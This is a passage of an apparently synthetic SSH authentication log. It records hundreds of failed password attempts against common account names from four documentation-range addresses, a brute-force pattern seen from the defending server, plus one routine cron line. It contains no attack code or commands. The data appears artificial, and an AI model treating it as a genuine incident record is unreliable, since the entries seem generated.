sshd[5330]: Failed password for invalid user ec2-user from 198.51.100.11 port 38971 +Oct 05 08:33:48 sshd[5330]: Failed password for invalid user oracle from 198.51.101.25 port 38927 +Oct 05 08:33:48 sshd[5330]: Failed password for webmaster from 198.51.101.25 port 28245 ssh2 +Oct 05 08:33:49 sshd[5330]: Failed password for ftpuser from 198.51.101.25 port 35531 ssh2 +Oct 05 08:33:49 sshd[5330]: Failed password for invalid user ec2-user from 198.51.100.10 port 16412 +Oct 05 08:33:49 sshd[5330]: Failed password for webmaster from 198.51.102.80 port 30583 ssh2 +Oct 05 08:33:50 sshd[27906]: Failed password for backup from 198.51.100.11 port 49747 ssh2 +Oct 05 08:33:51 sshd[27906]: Failed password for ftpuser from 198.51.100.10 port 39952 ssh2 +Oct 05 08:33:51 sshd[27906]: Failed password for service from 198.51.100.10 port 51803 ssh2 +Oct 05 08:33:52 sshd[27906]: Failed password for invalid user ec2-user from 198.51.100.10 port 27211 +Oct 05 08:33:52 sshd[27906]: Failed password for user from 198.51.101.25 port 11921 ssh2 +Oct 05 08:33:53 sshd[27906]: Failed password for invalid user service from 198.51.102.80 port 24460 +Oct 05 08:33:53 sshd[27906]: Failed password for oracle from 198.51.101.25 port 57680 ssh2 +Oct 05 08:33:53 sshd[27906]: Failed password for ubuntu from 198.51.100.11 port 47124 ssh2 +Oct 05 08:33:54 sshd[27906]: Failed password for invalid user ubuntu from 198.51.102.80 port 12309 +Oct 05 08:33:54 sshd[27906]: Failed password for mssql from 198.51.100.10 port 61779 ssh2 +Oct 05 08:33:54 sshd[27906]: Failed password for sqladmin from 198.51.102.80 port 33882 ssh2 +Oct 05 08:33:54 sshd[27906]: Failed password for test from 198.51.102.80 port 20556 ssh2 +Oct 05 08:33:55 sshd[2470]: Failed password for invalid user admin from 198.51.102.80 port 26059 +Oct 05 08:33:55 sshd[2470]: Failed password for invalid user backup from 198.51.102.80 port 50692 +Oct 05 08:33:55 sshd[2470]: Failed password for invalid user mssql from 198.51.101.25 port 63031 +Oct 05 08:33:55 sshd[2470]: Failed password for invalid user service from 198.51.102.80 port 12413 +Oct 05 08:33:55 sshd[2470]: Failed password for test from 198.51.101.25 port 60727 ssh2 +Oct 05 08:33:56 sshd[2470]: Failed password for invalid user test from 198.51.101.25 port 45133 +Oct 05 08:33:56 sshd[2470]: Failed password for postgres from 198.51.101.25 port 35241 ssh2 +Oct 05 08:33:57 sshd[2470]: Failed password for invalid user oracle from 198.51.100.11 port 45425 +Oct 05 08:33:57 sshd[2470]: Failed password for invalid user root from 198.51.102.80 port 42061 +Oct 05 08:33:57 sshd[2470]: Failed password for oracle from 198.51.102.80 port 29200 ssh2 +Oct 05 08:33:58 sshd[2470]: Failed password for invalid user webmaster from 198.51.101.25 port 41329 +Oct 05 08:33:58 sshd[2470]: Failed password for sqladmin from 198.51.100.10 port 59861 ssh2 +Oct 05 08:33:59 sshd[2470]: Failed password for admin from 198.51.100.10 port 13645 ssh2 +Oct 05 08:33:59 sshd[2470]: Failed password for invalid user backup from 198.51.101.25 port 40661 +Oct 05 08:33:59 sshd[2470]: Failed password for service from 198.51.101.25 port 49562 ssh2 +Oct 05 08:33:59 sshd[2470]: Failed password for user from 198.51.100.10 port 58761 ssh2 +Oct 05 08:33:59 sshd[2470]: Failed password for webmaster from 198.51.100.10 port 23795 ssh2 +Oct 05 08:34:00 sshd[8942]: Failed password for invalid user sqladmin from 198.51.101.25 port 42505 +Oct 05 08:34:00 sshd[8942]: Failed password for invalid user webmaster from 198.51.101.25 port 47975 +Oct 05 08:34:00 sshd[8942]: Failed password for mssql from 198.51.100.10 port 62820 ssh2 +Oct 05 08:34:00 sshd[8942]: Failed password for root from 198.51.100.11 port 15245 ssh2 +Oct 05 08:34:00 sshd[8942]: Failed password for webmaster from 198.51.100.11 port 44208 ssh2 +Oct 05 08:34:00 sshd[8942]: Failed password for webmaster from 198.51.102.80 port 10633 ssh2 +Oct 05 08:34:02 sshd[8942]: Failed password for admin from 198.51.101.25 port 26932 ssh2 +Oct 05 08:34:02 sshd[8942]: Failed password for admin from 198.51.101.25 port 44579 ssh2 +Oct 05 08:34:02 sshd[8942]: Failed password for oracle from 198.51.101.25 port 16076 ssh2 +Oct 05 08:34:02 sshd[8942]: Failed password for test from 198.51.100.11 port 13085 ssh2 +Oct 05 08:34:03 sshd[8942]: Failed password for invalid user ftpuser from 198.51.101.25 port 19291 +Oct 05 08:34:03 sshd[8942]: Failed password for service from 198.51.101.25 port 57101 ssh2 +Oct 05 08:34:03 sshd[8942]: Failed password for ubuntu from 198.51.100.10 port 22858 ssh2 +Oct 05 08:34:04 sshd[8942]: Failed password for invalid user user from 198.51.102.80 port 38714 +Oct 05 08:34:04 sshd[8942]: Failed password for root from 198.51.102.80 port 12211 ssh2 +Oct 05 08:34:05 sshd[6024]: Failed password for invalid user test from 198.51.100.11 port 28835 +Oct 05 08:34:05 sshd[6024]: Failed password for root from 198.51.100.11 port 30485 ssh2 +Oct 05 08:34:06 sshd[6024]: Failed password for admin from 198.51.100.10 port 45318 ssh2 +Oct 05 08:34:06 sshd[6024]: Failed password for root from 198.51.100.11 port 49091 ssh2 +Oct 05 08:34:06 sshd[6024]: Failed password for ubuntu from 198.51.101.25 port 10689 ssh2 +Oct 05 08:34:07 sshd[6024]: Failed password for backup from 198.51.100.10 port 11906 ssh2 +Oct 05 08:34:07 sshd[6024]: Failed password for guest from 198.51.101.25 port 48396 ssh2 +Oct 05 08:34:07 sshd[6024]: Failed password for invalid user postgres from 198.51.100.11 port 40292 +Oct 05 08:34:08 sshd[6024]: Failed password for ftpuser from 198.51.102.80 port 55392 ssh2 +Oct 05 08:34:08 sshd[6024]: Failed password for invalid user postgres from 198.51.101.25 port 46803 +Oct 05 08:34:08 sshd[6024]: Failed password for invalid user ubuntu from 198.51.100.11 port 13976 +Oct 05 08:34:08 sshd[6024]: Failed password for root from 198.51.100.10 port 63741 ssh2 +Oct 05 08:34:09 sshd[6024]: Failed password for ec2-user from 198.51.100.10 port 37030 ssh2 +Oct 05 08:34:09 sshd[6024]: Failed password for guest from 198.51.102.80 port 44053 ssh2 +Oct 05 08:34:09 sshd[6024]: Failed password for invalid user postgres from 198.51.100.11 port 40595 +Oct 05 08:34:09 sshd[6024]: Failed password for invalid user ubuntu from 198.51.100.10 port 31113 +Oct 05 08:34:09 sshd[6024]: Failed password for user from 198.51.102.80 port 24772 ssh2 +Oct 05 08:34:10 sshd[17273]: Failed password for invalid user oracle from 198.51.101.25 port 16591 +Oct 05 08:34:11 sshd[17273]: Failed password for invalid user guest from 198.51.101.25 port 54661 +Oct 05 08:34:11 sshd[17273]: Failed password for invalid user sqladmin from 198.51.102.80 port 41413 +Oct 05 08:34:11 sshd[17273]: Failed password for oracle from 198.51.100.11 port 42754 ssh2 +Oct 05 08:34:11 sshd[17273]: Failed password for test from 198.51.102.80 port 34006 ssh2 +Oct 05 08:34:12 sshd[17273]: Failed password for invalid user admin from 198.51.100.10 port 58787 +Oct 05 08:34:12 sshd[17273]: Failed password for invalid user postgres from 198.51.101.25 port 52279 +Oct 05 08:34:12 sshd[17273]: Failed password for invalid user sqladmin from 198.51.101.25 port 28562 +Oct 05 08:34:12 sshd[17273]: Failed password for oracle from 198.51.100.10 port 53326 ssh2 +Oct 05 08:34:12 sshd[17273]: Failed password for ubuntu from 198.51.100.11 port 65040 ssh2 +Oct 05 08:34:12 sshd[17273]: Failed password for user from 198.51.100.10 port 52718 ssh2 +Oct 05 08:34:13 sshd[17273]: Failed password for invalid user admin from 198.51.100.11 port 12178 +Oct 05 08:34:13 sshd[17273]: Failed password for invalid user root from 198.51.101.25 port 21021 +Oct 05 08:34:13 sshd[17273]: Failed password for invalid user user from 198.51.100.11 port 60163 +Oct 05 08:34:14 sshd[17273]: Failed password for service from 198.51.100.10 port 20741 ssh2 +Oct 05 08:34:14 sshd[17273]: Failed password for sqladmin from 198.51.100.10 port 32400 ssh2 +Oct 05 08:34:14 sshd[17273]: Failed password for user from 198.51.100.11 port 26718 ssh2 +Oct 05 08:34:15 sshd[20916]: Failed password for invalid user ftpuser from 198.51.102.80 port 44894 +Oct 05 08:34:15 sshd[20916]: Failed password for mssql from 198.51.100.10 port 64386 ssh2 +Oct 05 08:34:15 sshd[20916]: Failed password for oracle from 198.51.102.80 port 57171 ssh2 +Oct 05 08:34:16 sshd[20916]: Failed password for invalid user root from 198.51.102.80 port 22003 +Oct 05 08:34:17 sshd[20916]: Failed password for ftpuser from 198.51.101.25 port 30785 ssh2 +Oct 05 08:34:17 sshd[20916]: Failed password for invalid user admin from 198.51.100.10 port 54711 +Oct 05 08:34:17 sshd[20916]: Failed password for invalid user ubuntu from 198.51.100.10 port 21566 +Oct 05 08:34:17 sshd[20916]: Failed password for postgres from 198.51.101.25 port 39650 ssh2 +Oct 05 08:34:17 sshd[20916]: Failed password for user from 198.51.100.10 port 16143 ssh2 +Oct 05 08:34:18 sshd[20916]: Failed password for ftpuser from 198.51.100.10 port 23269 ssh2 +Oct 05 08:34:18 sshd[20916]: Failed password for invalid user root from 198.51.100.11 port 56775 +Oct 05 08:34:18 sshd[20916]: Failed password for postgres from 198.51.102.80 port 19735 ssh2 +Oct 05 08:34:18 sshd[20916]: Failed password for root from 198.51.102.80 port 18403 ssh2 +Oct 05 08:34:18 sshd[20916]: Failed password for test from 198.51.102.80 port 55568 ssh2 +Oct 05 08:34:19 sshd[20916]: Failed password for invalid user test from 198.51.102.80 port 35086 +Oct 05 08:34:19 sshd[20916]: Failed password for ubuntu from 198.51.101.25 port 40445 ssh2 +Oct 05 08:34:20 sshd[9437]: Failed password for user from 198.51.100.10 port 37714 ssh2 +Oct 05 08:34:21 sshd[9437]: Failed password for ubuntu from 198.51.100.10 port 34230 ssh2 +Oct 05 08:34:22 sshd[9437]: Failed password for invalid user guest from 198.51.100.10 port 21279 +Oct 05 08:34:22 sshd[9437]: Failed password for invalid user service from 198.51.101.25 port 62718 +Oct 05 08:34:23 sshd[9437]: Failed password for guest from 198.51.101.25 port 24473 ssh2 +Oct 05 08:34:23 sshd[9437]: Failed password for invalid user ubuntu from 198.51.102.80 port 62594 +Oct 05 08:34:23 sshd[9437]: Failed password for invalid user user from 198.51.102.80 port 58083 +Oct 05 08:34:23 sshd[9437]: Failed password for webmaster from 198.51.100.10 port 32976 ssh2 +Oct 05 08:34:24 sshd[9437]: Failed password for invalid user backup from 198.51.102.80 port 26539 +Oct 05 08:34:24 sshd[9437]: Failed password for sqladmin from 198.51.102.80 port 18314 ssh2 +Oct 05 08:34:25 sshd[19703]: Failed password for invalid user guest from 198.51.101.25 port 29949 +Oct 05 08:34:25 sshd[19703]: Failed password for webmaster from 198.51.101.25 port 24958 ssh2 +Oct 05 08:34:26 sshd[19703]: Failed password for invalid user ec2-user from 198.51.100.10 port 10089 +Oct 05 08:34:26 sshd[19703]: Failed password for invalid user ftpuser from 198.51.100.11 port 64858 +Oct 05 08:34:26 sshd[19703]: Failed password for invalid user sqladmin from 198.51.101.25 port 58979 +Oct 05 08:34:27 sshd[19703]: Failed password for guest from 198.51.102.80 port 34693 ssh2 +Oct 05 08:34:27 sshd[19703]: Failed password for mssql from 198.51.100.11 port 25011 ssh2 +Oct 05 08:34:27 sshd[19703]: Failed password for root from 198.51.100.11 port 40179 ssh2 +Oct 05 08:34:27 sshd[19703]: Failed password for service from 198.51.102.80 port 63196 ssh2 +Oct 05 08:34:28 sshd[19703]: Failed password for invalid user backup from 198.51.100.11 port 17656 +Oct 05 08:34:28 sshd[19703]: Failed password for invalid user test from 198.51.100.11 port 26339 +Oct 05 08:34:28 sshd[19703]: Failed password for test from 198.51.101.25 port 47915 ssh2 +Oct 05 08:34:29 sshd[19703]: Failed password for backup from 198.51.100.10 port 17657 ssh2 +Oct 05 08:34:29 sshd[19703]: Failed password for ftpuser from 198.51.100.10 port 21945 ssh2 +Oct 05 08:34:29 sshd[19703]: Failed password for ubuntu from 198.51.100.11 port 42483 ssh2 +Oct 05 08:34:30 sshd[19914]: Failed password for ftpuser from 198.51.100.11 port 63930 ssh2 +Oct 05 08:34:30 sshd[19914]: Failed password for invalid user admin from 198.51.100.10 port 18597 +Oct 05 08:34:30 sshd[19914]: Failed password for invalid user ubuntu from 198.51.102.80 port 18783 +Oct 05 08:34:30 sshd[19914]: Failed password for postgres from 198.51.101.25 port 49511 ssh2 +Oct 05 08:34:31 sshd[19914]: Failed password for invalid user admin from 198.51.102.80 port 46237 +Oct 05 08:34:31 sshd[19914]: Failed password for invalid user backup from 198.51.102.80 port 34832 +Oct 05 08:34:31 sshd[19914]: Failed password for invalid user test from 198.51.101.25 port 22820 +Oct 05 08:34:31 sshd[19914]: Failed password for invalid user user from 198.51.102.80 port 56512 +Oct 05 08:34:31 sshd[19914]: Failed password for ubuntu from 198.51.100.10 port 57607 ssh2 +Oct 05 08:34:33 sshd[19914]: Failed password for backup from 198.51.100.10 port 63341 ssh2 +Oct 05 08:34:33 sshd[19914]: Failed password for invalid user backup from 198.51.100.11 port 52261 +Oct 05 08:34:33 sshd[19914]: Failed password for invalid user root from 198.51.100.10 port 50227 +Oct 05 08:34:33 sshd[19914]: Failed password for service from 198.51.101.25 port 33722 ssh2 +Oct 05 08:34:34 sshd[19914]: Failed password for invalid user oracle from 198.51.100.10 port 48708 +Oct 05 08:34:35 sshd[6400]: Failed password for service from 198.51.102.80 port 61726 ssh2 +Oct 05 08:34:36 sshd[6400]: Failed password for test from 198.51.101.25 port 21482 ssh2 +Oct 05 08:34:37 sshd[6400]: Failed password for invalid user backup from 198.51.100.10 port 50231 +Oct 05 08:34:37 sshd[6400]: Failed password for invalid user service from 198.51.102.80 port 18381 +Oct 05 08:34:37 sshd[6400]: Failed password for invalid user sqladmin from 198.51.102.80 port 26826 +Oct 05 08:34:37 sshd[6400]: Failed password for invalid user user from 198.51.100.10 port 24717 +Oct 05 08:34:37 sshd[6400]: Failed password for oracle from 198.51.101.25 port 47595 ssh2 +Oct 05 08:34:37 sshd[6400]: Failed password for sqladmin from 198.51.101.25 port 37994 ssh2 +Oct 05 08:34:38 sshd[6400]: Failed password for invalid user ec2-user from 198.51.101.25 port 64145 +Oct 05 08:34:38 sshd[6400]: Failed password for invalid user postgres from 198.51.100.10 port 20523 +Oct 05 08:34:38 sshd[6400]: Failed password for invalid user user from 198.51.100.10 port 14480 +Oct 05 08:34:39 sshd[6400]: Failed password for invalid user ftpuser from 198.51.100.10 port 31793 +Oct 05 08:34:39 sshd[6400]: Failed password for mssql from 198.51.101.25 port 35974 ssh2 +Oct 05 08:34:39 sshd[6400]: Failed password for sqladmin from 198.51.100.11 port 57194 ssh2 +Oct 05 08:34:40 sshd[14018]: Failed password for guest from 198.51.100.11 port 32894 ssh2 +Oct 05 08:34:40 sshd[14018]: Failed password for invalid user mssql from 198.51.100.10 port 12418 +Oct 05 08:34:40 sshd[14018]: Failed password for invalid user oracle from 198.51.101.25 port 49715 +Oct 05 08:34:40 sshd[14018]: Failed password for invalid user service from 198.51.102.80 port 43950 +Oct 05 08:34:40 sshd[14018]: Failed password for root from 198.51.101.25 port 19939 ssh2 +Oct 05 08:34:41 sshd[14018]: Failed password for invalid user backup from 198.51.101.25 port 63568 +Oct 05 08:34:41 sshd[14018]: Failed password for invalid user guest from 198.51.101.25 port 49618 +Oct 05 08:34:41 sshd[14018]: Failed password for ubuntu from 198.51.100.11 port 64282 ssh2 +Oct 05 08:34:42 sshd[14018]: Failed password for backup from 198.51.100.11 port 32440 ssh2 +Oct 05 08:34:42 sshd[14018]: Failed password for invalid user admin from 198.51.100.10 port 17363 +Oct 05 08:34:42 sshd[14018]: Failed password for invalid user sqladmin from 198.51.100.11 port 25975 +Oct 05 08:34:42 sshd[14018]: Failed password for ubuntu from 198.51.100.10 port 25635 ssh2 +Oct 05 08:34:43 sshd[14018]: Failed password for ftpuser from 198.51.101.25 port 27017 ssh2 +Oct 05 08:34:43 sshd[14018]: Failed password for invalid user root from 198.51.100.10 port 17321 +Oct 05 08:34:43 sshd[14018]: Failed password for invalid user webmaster from 198.51.102.80 port 20521 +Oct 05 08:34:43 sshd[14018]: Failed password for test from 198.51.100.11 port 30006 ssh2 +Oct 05 08:34:43 sshd[14018]: Failed password for user from 198.51.100.11 port 63512 ssh2 +Oct 05 08:34:44 sshd[14018]: Failed password for invalid user webmaster from 198.51.100.10 port 61107 +Oct 05 08:34:45 sshd[20812]: Failed password for ec2-user from 198.51.100.11 port 59754 ssh2 +Oct 05 08:34:46 sshd[20812]: Failed password for invalid user postgres from 198.51.102.80 port 15235 +Oct 05 08:34:47 sshd[20812]: Failed password for invalid user ec2-user from 198.51.100.11 port 55469 +Oct 05 08:34:47 sshd[20812]: Failed password for invalid user oracle from 198.51.101.25 port 61382 +Oct 05 08:34:47 sshd[20812]: Failed password for postgres from 198.51.100.11 port 33479 ssh2 +Oct 05 08:34:48 sshd[20812]: Failed password for ftpuser from 198.51.101.25 port 48704 ssh2 +Oct 05 08:34:48 sshd[20812]: Failed password for invalid user oracle from 198.51.100.10 port 50301 +Oct 05 08:34:48 sshd[20812]: Failed password for test from 198.51.100.10 port 20027 ssh2 +Oct 05 08:34:49 sshd[20812]: Failed password for backup from 198.51.100.10 port 59875 ssh2 +Oct 05 08:34:49 sshd[20812]: Failed password for root from 198.51.100.11 port 29136 ssh2 +Oct 05 08:34:50 sshd[18167]: Failed password for guest from 198.51.100.11 port 35641 ssh2 +Oct 05 08:34:50 sshd[18167]: Failed password for invalid user postgres from 198.51.102.80 port 26624 +Oct 05 08:34:50 sshd[18167]: Failed password for invalid user user from 198.51.102.80 port 58473 +Oct 05 08:34:50 sshd[18167]: Failed password for service from 198.51.101.25 port 24485 ssh2 +Oct 05 08:34:51 sshd[18167]: Failed password for invalid user ec2-user from 198.51.100.10 port 51258 +Oct 05 08:34:51 sshd[18167]: Failed password for invalid user guest from 198.51.100.11 port 18783 +Oct 05 08:34:51 sshd[18167]: Failed password for invalid user oracle from 198.51.100.10 port 27350 +Oct 05 08:34:51 sshd[18167]: Failed password for invalid user oracle from 198.51.101.25 port 44071 +Oct 05 08:34:51 sshd[18167]: Failed password for root from 198.51.100.10 port 12849 ssh2 +Oct 05 08:34:51 sshd[18167]: Failed password for service from 198.51.100.10 port 17827 ssh2 +Oct 05 08:34:52 sshd[18167]: Failed password for ec2-user from 198.51.100.10 port 10200 ssh2 +Oct 05 08:34:52 sshd[18167]: Failed password for invalid user service from 198.51.100.11 port 31898 +Oct 05 08:34:53 sshd[18167]: Failed password for admin from 198.51.100.10 port 32714 ssh2 +Oct 05 08:34:53 sshd[18167]: Failed password for invalid user ftpuser from 198.51.102.80 port 19590 +Oct 05 08:34:53 sshd[18167]: Failed password for invalid user postgres from 198.51.100.10 port 22437 +Oct 05 08:34:53 sshd[18167]: Failed password for service from 198.51.102.80 port 14985 ssh2 +Oct 05 08:34:54 sshd[18167]: Failed password for invalid user root from 198.51.101.25 port 29485 +Oct 05 08:34:54 sshd[18167]: Failed password for invalid user user from 198.51.101.25 port 41394 +Oct 05 08:34:54 sshd[18167]: Failed password for oracle from 198.51.100.11 port 44014 ssh2 +Oct 05 08:34:54 sshd[18167]: Failed password for ubuntu from 198.51.102.80 port 30921 ssh2 +Oct 05 08:34:55 sshd[24670]: Failed password for invalid user ftpuser from 198.51.100.11 port 37946 +Oct 05 08:34:55 sshd[24670]: Failed password for invalid user root from 198.51.100.11 port 27479 +Oct 05 08:34:55 sshd[24670]: Failed password for invalid user user from 198.51.102.80 port 20327 +Oct 05 08:34:56 sshd[24670]: Failed password for invalid user postgres from 198.51.101.25 port 15352 +Oct 05 08:34:56 sshd[24670]: Failed password for mssql from 198.51.102.80 port 54682 ssh2 +Oct 05 08:34:56 sshd[24670]: Failed password for service from 198.51.102.80 port 37524 ssh2 +Oct 05 08:34:56 sshd[24670]: Failed password for user from 198.51.101.25 port 43103 ssh2 +Oct 05 08:34:58 sshd[24670]: Failed password for invalid user backup from 198.51.101.25 port 42482 +Oct 05 08:34:58 sshd[24670]: Failed password for invalid user ec2-user from 198.51.100.10 port 34720 +Oct 05 08:34:58 sshd[24670]: Failed password for invalid user ftpuser from 198.51.100.11 port 54472 +Oct 05 08:34:58 sshd[24670]: Failed password for invalid user service from 198.51.100.10 port 45930 +Oct 05 08:34:59 sshd[24670]: Failed password for invalid user ec2-user from 198.51.102.80 port 31060 +Oct 05 08:34:59 sshd[24670]: Failed password for invalid user oracle from 198.51.102.80 port 28169 +Oct 05 08:34:59 sshd[24670]: Failed password for invalid user service from 198.51.100.11 port 52255 +Oct 05 08:34:59 sshd[24670]: Failed password for test from 198.51.101.25 port 49297 ssh2 +Oct 05 08:35:00 CRON[3747]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Oct 05 08:35:00 sshd[3847]: Failed password for guest from 198.51.100.11 port 47564 ssh2 +Oct 05 08:35:00 sshd[3847]: Failed password for invalid user admin from 198.51.102.80 port 65476 +Oct 05 08:35:00 sshd[3847]: Failed password for invalid user backup from 198.51.101.25 port 28993 +Oct 05 08:35:00 sshd[3847]: Failed password for invalid user mssql from 198.51.100.11 port 31430 +Oct 05 08:35:00 sshd[3847]: Failed password for service from 198.51.101.25 port 61658 ssh2 +Oct 05 08:35:00 sshd[3847]: Failed password for sqladmin from 198.51.102.80 port 42704 ssh2 +Oct 05 08:35:00 sshd[3847]: Failed password for webmaster from 198.51.102.80 port 13799 ssh2 +Oct 05 08:35:01 sshd[3847]: Failed password for invalid user backup from 198.51.100.11 port 60378 +Oct 05 08:35:01 sshd[3847]: Failed password for root from 198.51.101.25 port 25541 ssh2 +Oct 05 08:35:01 sshd[3847]: Failed password for service from 198.51.102.80 port 22818 ssh2 +Oct 05 08:35:02 sshd[3847]: Failed password for invalid user ec2-user from 198.51.101.25 port 33136 +Oct 05 08:35:02 sshd[3847]: Failed password for invalid user ubuntu from 198.51.101.25 port 10873 +Oct 05 08:35:02 sshd[3847]: Failed password for root from 198.51.100.11 port 47649 ssh2 +Oct 05 08:35:03 sshd[3847]: Failed password for invalid user backup from 198.51.100.11 port 20868 +Oct 05 08:35:03 sshd[3847]: Failed password for invalid user ftpuser from 198.51.100.11 port 44695 +Oct 05 08:35:04 sshd[3847]: Failed password for admin from 198.51.102.80 port 18846 ssh2 +Oct 05 08:35:04 sshd[3847]: Failed password for ftpuser from 198.51.102.80 port 58634 ssh2 +Oct 05 08:35:04 sshd[3847]: Failed password for root from 198.51.100.10 port 30182 ssh2 +Oct 05 08:35:05 sshd[4880]: Failed password for invalid user ec2-user from 198.51.101.25 port 42724 +Oct 05 08:35:05 sshd[4880]: Failed password for invalid user root from 198.51.100.11 port 21237 +Oct 05 08:35:06 sshd[4880]: Failed password for guest from 198.51.102.80 port 21236 ssh2 +Oct 05 08:35:06 sshd[4880]: Failed password for invalid user service from 198.51.101.25 port 32017 +Oct 05 08:35:06 sshd[4880]: Failed password for oracle from 198.51.100.11 port 28071 ssh2 +Oct 05 08:35:07 sshd[4880]: Failed password for ftpuser from 198.51.100.10 port 35027 ssh2 +Oct 05 08:35:07 sshd[4880]: Failed password for service from 198.51.100.10 port 62188 ssh2 +Oct 05 08:35:08 sshd[4880]: Failed password for invalid user admin from 198.51.102.80 port 21544 +Oct 05 08:35:08 sshd[4880]: Failed password for invalid user mssql from 198.51.101.25 port 28295 +Oct 05 08:35:08 sshd[4880]: Failed password for invalid user oracle from 198.51.101.25 port 37812 +Oct 05 08:35:08 sshd[4880]: Failed password for invalid user sqladmin from 198.51.102.80 port 36056 +Oct 05 08:35:08 sshd[4880]: Failed password for ubuntu from 198.51.100.10 port 21226 ssh2 +Oct 05 08:35:09 sshd[4880]: Failed password for invalid user admin from 198.51.100.11 port 43754 +Oct 05 08:35:09 sshd[4880]: Failed password for invalid user service from 198.51.100.11 port 34409 +Oct 05 08:35:09 sshd[4880]: Failed password for mssql from 198.51.100.11 port 42090 ssh2 +Oct 05 08:35:10 sshd[11234]: Failed password for test from 198.51.102.80 port 41350 ssh2 +Oct 05 08:35:11 sshd[11234]: Failed password for ec2-user from 198.51.100.11 port 44714 ssh2 +Oct 05 08:35:11 sshd[11234]: Failed password for ec2-user from 198.51.100.11 port 61221 ssh2 +Oct 05 08:35:11 sshd[11234]: Failed password for sqladmin from 198.51.102.80 port 43075 ssh2 +Oct 05 08:35:11 sshd[11234]: Failed password for test from 198.51.100.11 port 16190 ssh2 +Oct 05 08:35:12 sshd[11234]: Failed password for admin from 198.51.101.25 port 47504 ssh2 +Oct 05 08:35:12 sshd[11234]: Failed password for guest from 198.51.101.25 port 50517 ssh2 +Oct 05 08:35:12 sshd[11234]: Failed password for root from 198.51.102.80 port 22360 ssh2 +Oct 05 08:35:12 sshd[11234]: Failed password for webmaster from 198.51.101.25 port 24896 ssh2 +Oct 05 08:35:13 sshd[11234]: Failed password for mssql from 198.51.102.80 port 17226 ssh2 +Oct 05 08:35:14 sshd[11234]: Failed password for invalid user webmaster from 198.51.100.10 port 26125 +Oct 05 08:35:14 sshd[11234]: Failed password for mssql from 198.51.102.80 port 42316 ssh2 +Oct 05 08:35:14 sshd[11234]: Failed password for postgres from 198.51.100.11 port 63396 ssh2 +Oct 05 08:35:14 sshd[11234]: Failed password for sqladmin from 198.51.100.11 port 42743 ssh2 +Oct 05 08:35:14 sshd[11234]: Failed password for webmaster from 198.51.100.11 port 34976 ssh2 +Oct 05 08:35:15 sshd[4817]: Failed password for invalid user admin from 198.51.100.11 port 15863 +Oct 05 08:35:16 sshd[4817]: Failed password for webmaster from 198.51.100.10 port 61174 ssh2 +Oct 05 08:35:17 sshd[4817]: Failed password for ec2-user from 198.51.101.25 port 20912 ssh2 +Oct 05 08:35:17 sshd[4817]: Failed password for invalid user service from 198.51.100.11 port 26727 +Oct 05 08:35:17 sshd[4817]: Failed password for invalid user test from 198.51.101.25 port 25814 +Oct 05 08:35:17 sshd[4817]: Failed password for service from 198.51.100.10 port 55915 ssh2 +Oct 05 08:35:17 sshd[4817]: Failed password for test from 198.51.100.11 port 50187 ssh2 +Oct 05 08:35:18 sshd[4817]: Failed password for invalid user ec2-user from 198.51.100.10 port 13674 +Oct 05 08:35:18 sshd[4817]: Failed password for invalid user ec2-user from 198.51.100.10 port 26212 +Oct 05 08:35:18 sshd[4817]: Failed password for invalid user ubuntu from 198.51.100.11 port 59888 +Oct 05 08:35:18 sshd[4817]: Failed password for invalid user ubuntu from 198.51.100.11 port 64254 +Oct 05 08:35:18 sshd[4817]: Failed password for service from 198.51.102.80 port 11902 ssh2 +Oct 05 08:35:18 sshd[4817]: Failed password for test from 198.51.102.80 port 12297 ssh2 +Oct 05 08:35:19 sshd[4817]: Failed password for invalid user test from 198.51.101.25 port 48660 +Oct 05 08:35:19 sshd[4817]: Failed password for invalid user ubuntu from 198.51.100.11 port 38370 +Oct 05 08:35:19 sshd[4817]: Failed password for invalid user webmaster from 198.51.100.11 port 22272 +Oct 05 08:35:19 sshd[4817]: Failed password for service from 198.51.101.25 port 42012 ssh2 +Oct 05 08:35:19 sshd[4817]: Failed password for sqladmin from 198.51.100.11 port 50947 ssh2 +Oct 05 08:35:20 sshd[9805]: Failed password for invalid user root from 198.51.102.80 port 60413 +Oct 05 08:35:20 sshd[9805]: Failed password for invalid user service from 198.51.100.10 port 30861 +Oct 05 08:35:20 sshd[9805]: Failed password for invalid user test from 198.51.101.25 port 17692 +Oct 05 08:35:21 sshd[9805]: Failed password for invalid user postgres from 198.51.101.25 port 32846 +Oct 05 08:35:21 sshd[9805]: Failed password for invalid user user from 198.51.102.80 port 55607 +Oct 05 08:35:22 sshd[9805]: Failed password for admin from 198.51.101.25 port 35186 ssh2 +Oct 05 08:35:22 sshd[9805]: Failed password for guest from 198.51.100.11 port 31028 ssh2 +Oct 05 08:35:22 sshd[9805]: Failed password for invalid user guest from 198.51.100.11 port 61542 +Oct 05 08:35:23 sshd[9805]: Failed password for guest from 198.51.100.10 port 19517 ssh2 +Oct 05 08:35:23 sshd[9805]: Failed password for guest from 198.51.100.10 port 33500 ssh2 +Oct 05 08:35:23 sshd[9805]: Failed password for invalid user oracle from 198.51.102.80 port 27281 +Oct 05 08:35:23 sshd[9805]: Failed password for invalid user root from 198.51.101.25 port 50880 +Oct 05 08:35:23 sshd[9805]: Failed password for invalid user webmaster from 198.51.102.80 port 13950 +Oct 05 08:35:24 sshd[9805]: Failed password for invalid user admin from 198.51.101.25 port 30651 +Oct 05 08:35:24 sshd[9805]: Failed password for invalid user ec2-user from 198.51.101.25 port 34528 +Oct 05 08:35:24 sshd[9805]: Failed password for root from 198.51.100.11 port 45551 ssh2 +Oct 05 08:35:26 sshd[20954]: Failed password for admin from 198.51.101.25 port 32622 ssh2 +Oct 05 08:35:26 sshd[20954]: Failed password for invalid user ftpuser from 198.51.100.11 port 59817 +Oct 05 08:35:26 sshd[20954]: Failed password for invalid user ubuntu from 198.51.102.80 port 57127 +Oct 05 08:35:26 sshd[20954]: Failed password for sqladmin from 198.51.100.11 port 29485 ssh2 +Oct 05 08:35:27 sshd[20954]: Failed password for invalid user test from 198.51.102.80 port 54806 +Oct 05 08:35:28 sshd[20954]: Failed password for invalid user root from 198.51.100.11 port 25418 +Oct 05 08:35:28 sshd[20954]: Failed password for invalid user sqladmin from 198.51.101.25 port 17924 +Oct 05 08:35:28 sshd[20954]: Failed password for test from 198.51.101.25 port 27070 ssh2 +Oct 05 08:35:29 sshd[20954]: Failed password for admin from 198.51.102.80 port 33750 ssh2 +Oct 05 08:35:31 sshd[18613]: Failed password for ec2-user from 198.51.101.25 port 40017 ssh2 +Oct 05 08:35:31 sshd[18613]: Failed password for invalid user ec2-user from 198.51.100.11 port 29883 +Oct 05 08:35:31 sshd[18613]: Failed password for invalid user mssql from 